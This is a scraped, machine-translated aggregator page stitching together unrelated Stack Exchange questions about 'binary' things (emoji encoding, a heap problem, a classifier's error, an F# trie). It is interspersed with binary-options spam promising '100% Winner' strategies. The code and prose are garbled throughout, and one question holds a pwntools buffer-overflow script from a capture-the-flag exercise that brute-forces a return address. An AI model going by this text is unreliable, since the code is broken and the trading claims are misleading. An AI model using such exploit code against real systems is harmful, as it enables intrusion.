Digits Over / Digits Under Binary Trading Ticks A New Winning Strategy

Digits Over / Digits Under Best Options binary Trading Ticks Winning Strategy

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binary – How do bits of some emoji code for all colors?

This binary number does not contain the pixel information of the image used to display the emoji. According to the Unicode standard, it is only a number that refers to this emoji. Every program that displays text (e-mail reader, web browser, etc.) must have a way to convert that number into real pixels. Usually in modern computers there is a Character font file, which contains all the information about the pixels of each character. Thus, when the program has to display the emoji, it accesses the file, reads the pixel data corresponding to the emoji and sends them to the screen.

Note that the Unicode standard does not specify what these pixels are, only that they must represent, for example, an "emoji cake". Each program can use a different font, showing the cake differently.

This also happens for ordinary characters. Unicode indicates that "A" is represented by the number 65, but many fonts can be used to indicate this "A".

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macos – ./dlc: ./dlc: can not run a binary file on mac

I've tried running an executable file called driver.pl by doing

./driver.pl

But it gives me

./dlc: ./dlc: Can not run a binary file
./driver.pl: ERROR: zapped bits.c has not been compiled. The files are located in /var/tmp/datalab.dklee.30595.

When I type like

driver.pl file

It says

driver.pl: executable Perl script text

In addition, I already gave the authority using chmod but it did not

A way to solve?

complexity theory – restoring the k lowest sorted elements in a binary segment

I have a problem that concerns the binary heap.
It goes like this:
You receive a binary heap and a number k.
You must return to an array of size k, the lowest k-elements of the binary heap, so that it is sorted at the end.
The problem is that the time complexity must be Theta (k * log (k)).
Thank you in advance.

Just to clarify: the heap size is n, and k <= n.
and it is to be specific to Theta (k * log (k)).

Latest volatility index of transactions on binary options 25 digits in the winning strategy

Latest volatility index of transactions on binary options 25 digits in the winning strategy

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exploit – Binary operation – Information Security Stack Exchange

I'm trying to meet the challenge of an FCE with which I played, but I just can not succeed. I think you must succeed in using the buffer overflow, but I do not see what I'm doing wrong since it works in gdb. I think that's because ASLR is enabled for the binary. I'll leave a link here with the binary so you can search for yourself here

I will try to explain my observations and what I have tried:

We can see that the program takes 2 inputs, performs calculations and generates a number for you. But we can also see that the second entry can be overwhelmed since the first entry is introduced in the strtoul a function. Well then let's do it! However, this being a 64-bit executable, we need to put the address on the stack and after the let instruction we must have our address on the top of the stack so the ret the instruction will use it.
I found an address that worked in gdb and I called the so-called to win function, you can see in the symbols of the binary. But this only Work in gdb. So, there must be another address for the start of the buffer, so I tried to force it hard. And I did this script in python using pwntools:

#! / usr / bin / python

pwn import *
import structure

exec_path = & # 39; ./ run.sh & # 39;

offset = 136

addr_win = 0x400687


addr_on_stack = 0x7fffffffeae8

for the buffer address in the range (addr_on_stack - 1024, addr_on_stack + 1024, 8):
io = process (exec_path)
payload = struct.pack ("Q", addr_win) + & # 39; A & # 39; * 120 + struct.pack ("Q", buffer_address)
log.info ("Test address 0x {: 0x} as a buffer address" .format (buffer_address))

log.info ("format of the load is {}". format ("". join ((\ x {: 02x} ". format (ord (b)) for b in the load)))
io.sendline ('1')
io.sendline (payload)
io.recvuntil ("Now, give me the first guideline:")
with open ("pay", "wb") as f:
f.write (payload)

msg = io.recvall (wait time = 3)
print msg
if "your answer is" in msg or "Segmentation error" in msg or "relocation error" in msg or "Inconsistency detected" in msg:
io.wait ()
io.close ()
io.kill ()
Carry on
other:
Pause
io.interactive ()

However, after running this, I still can not call it the function I want. I've also tried changing the last byte of the buffer's start address, but I can only overwrite it with x00 because regardless of the size of the input, fgets will always set the NULL byte at the end of the reading string. Any ideas on how should I really tackle it?

I'm not sure if this is the right site to publish this, but I do not see anything about stackexchange where I should ask questions like this and I really miss ideas and want to know more!

machine learning – Real error of a binary classifier

For a given classifier h, how is the true error on a distribution D defined?
begin {align *}
L_D (h) & = sideset { mathbb {E}} {} {} _ {x, y sim D} Pr[h(x) neq y] \ & =
sideset { mathbb {E}} {} {} _ {x, y sim D}
begin {cases}
Pr[y neq 0|x] & text {if} h (x) = 0, \
Pr[y neq 1|x] & text {if} h (x) = 1.
end {cases}
end {align *}

I've seen these two formulas here showing that the Bayes classifier is optimal These two equivalents?

Barrier Offset No Touch Ticks Binary Options Strategy – 100% Winner

Barrier Offset No Touch Ticks Binary Options Strategy – 100% Winner
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Strategy – (Binary Options Strategy Offset Ticks No Touch Ticks – 100% Winner)

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Functional Programming – Binary Sort in F #

I have this little exercise of writing a binary trie in F #. In C #, this can be done in a few lines, but here it has become more complicated than expected (especially the add a function):

open system

type BitTrie =
| BitTrie of Zero: BitTrie * A: BitTrie
| NullTrie

BitTrie module =

let ubound = 31 // 32-bit integer

let add value trie =
let rec adder shift curTrie =
if change < 0 then curTrie
            else
                match (value >>> shift) &&& 1, curTrie with
| 0, BitTrie (zero, one) ->
match with zero with
| BitTrie (_) -> BitTrie (adder (shift - 1) zero, one)
| NullTrie -> BitTrie (adder (shift - 1) (BitTrie (NullTrie, NullTrie)), a)
| 1, BitTrie (zero, one) ->
match one with
| BitTrie (_) -> BitTrie (zero, adder (offset - 1) a)
| NullTrie -> BitTrie (zero, adder (offset - 1) (BitTrie (NullTrie, NullTrie)))
| bit, _ -> increase (InvalidOperationException (sprintf "invalid bit value:% d" bit))

adder ubound trie

let contains the value trie =
let rec searcher shift curTrie =
if shift <0 then curTrie <> NullTrie
other
match (value >>> shift) &&& 1, curTrie with
| _, NullTrie -> false
| 0, BitTrie (zero, _) -> searcher (shift - 1) zero
| 1, BitTrie (_, un) -> searcher (shift - 1) a
| bit, _ -> increase (InvalidOperationException (sprintf "invalid bit value:% d" bit))
researcher

leave isEmpty sort =
match sort with
| NullTrie -> true
| BitTrie (NullTrie, NullTrie) -> true
| BitTrie (_) -> false

let create () = BitTrie (NullTrie, NullTrie)

leave the values ​​addValues ​​sort =
values ​​|> Seq.fold (fun value accTrie -> add value accTrie) sort

let fromValues ​​values ​​= create () |> addValues ​​values

leave toeqe sort =
let recterator value curTrie =
seq {
associate curTrie with
| NullTrie -> ()
| BitTrie (NullTrie, NullTrie) -> yield value
| BitTrie (zero, one) ->
return! (iterator (value <<< 1) zero)
return! (iterator ((value <<< 1) + 1) one)
            }

        iterator 0 trie

    let toList trie = trie |> toSeq |> Seq.toList
let toArray trie = trie |> toSeq |> Seq.toArray

leave the action iter trie = trie |> toSeq |> the action Seq.iter

I know this model

bit, _ -> increase (InvalidOperationException (sprintf "invalid bit value:% d" bit))

will never happen, but I hate to leave the compiler unsatisfied.


Here are some test cases:

leave testBitTrie () =

leave values ​​= [ 0b1011001; 0b1101101; 0b1011011; Int32.MaxValue; (Int32.MaxValue >>> 16) - 1; 0; -1; Int32.MinValue ]
    let trie = values ​​|> BitTrie.fromValues

sort |> BitTrie.iter (fun v -> printfn "% s ->% d" (Convert.ToString (v, 2)) v)

printfn ""
sorts
|> BitTrie.addValues [ 35; 45 ]
    |> BitTrie.iter (fun v -> printfn "% s ->% d" (Convert.ToString (v, 2)) v)


// values ​​@ [1; 2; 4; 100] |> Seq.iter (fun v -> printfn "% d:% b" v (sort |> BitTrie.contains (v)))

Leave resolXorMax () =
// let rand = new Random (1);
// let values ​​= Enumerable.Range (0, 5000) .Select (fun x -> rand.Next (rand.Next (0, 10000000)). ToList ();
// let trie = values ​​|> BitTrie.fromValues

leave values ​​= [ 3; 10; 5; 2; 25; 8 ]
    let trie = values ​​|> BitTrie.fromValues

let folder (max: int) value =
let reciter shift xor curTrie: int =
if change <= 0 then Math.Max(max, xor)
            else
                match (value >>> shift) &&& 1, curTrie with
| 0, BitTrie (zero, one) ->
match zero, one with
| _, BitTrie (_) -> iter (shift - 1) (xor + (1 <<< shift)) one
                    | BitTrie(_), _ ->  iter (shift - 1) xor zero
| 1, BitTrie (zero, one) ->
match zero, one with
| BitTrie (_), _ -> iter (shift - 1) (xor + (1 <<< shift)) zero
                    | _, BitTrie(_) -> iter (shift - 1) xor one
iter BitTrie.environ 0 times

let max = values ​​|> folder Seq.fold (Int32.MinValue)
printfn "% d" max

resolXorMax () finds the maximum xor value of two values ​​in the input set – extracted from this question

I am interested in any comments, but especially if you can have a smarter / shorter approach to the add a function. My self-imposed restriction was to use a discriminated union type as the data type for the third node.